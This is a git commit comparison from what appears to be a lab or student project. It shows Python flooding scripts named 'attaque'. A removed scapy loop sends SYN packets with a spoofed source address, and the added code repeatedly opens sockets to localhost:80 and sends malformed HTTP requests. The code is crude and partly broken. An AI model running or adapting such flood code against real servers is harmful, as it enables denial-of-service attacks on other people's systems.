Compare commits
2 commits
4202dc0e43
...
d416b9670c
Author | SHA1 | Date | |
---|---|---|---|
![]() |
d416b9670c | ||
![]() |
ac08a16224 |
2 changed files with 21 additions and 29 deletions
|
@ -1,23 +0,0 @@
|
|||
import socket
|
||||
import random as r
|
||||
|
||||
L=[
|
||||
"G3T / HTTP/1.1\r\nHøst: localhost\r\n\r\n",
|
||||
"GET /index.html HTTP/1.1\r\nHost: localhost\r\n\r\n",
|
||||
"GET /about.html HTTP/1.1\r\nHost: localhost\r\n\r\n"
|
||||
]
|
||||
|
||||
adresse="localhost"
|
||||
port=80
|
||||
def attaque():
|
||||
while True:
|
||||
with socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM) as s:
|
||||
s.connect(adresse,port)
|
||||
s.send(L[r.randint(0,2)].encode())
|
||||
|
||||
'''
|
||||
|
||||
GET / HTTP/1.1
|
||||
Host: example.com
|
||||
|
||||
'''
|
|
@ -1,8 +1,23 @@
|
|||
from scapy.all import *
|
||||
import socket
|
||||
import random as r
|
||||
|
||||
L=[
|
||||
"G3T / HTTP/1.1\r\nHøst: localhost\r\n\r\n",
|
||||
"GET /index.html HTTP/1.1\r\nHost: localhost\r\n\r\n",
|
||||
"GET /about.html HTTP/1.1\r\nHost: localhost\r\n\r\n"
|
||||
]
|
||||
|
||||
adresse="localhost"
|
||||
port=80
|
||||
def attaque():
|
||||
while True:
|
||||
for i in range(512,2048):
|
||||
pkt = IP(dst='web') / IP(src='192.168.1.69')/ TCP(dport=80,sport=i,flags='S') / ICMP()
|
||||
send(pkt, loop=1)
|
||||
print("Sent packet")
|
||||
with socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM) as s:
|
||||
s.connect(adresse,port)
|
||||
s.send(L[r.randint(0,2)].encode())
|
||||
|
||||
'''
|
||||
|
||||
GET / HTTP/1.1
|
||||
Host: example.com
|
||||
|
||||
'''
|
Loading…
Add table
Add a link
Reference in a new issue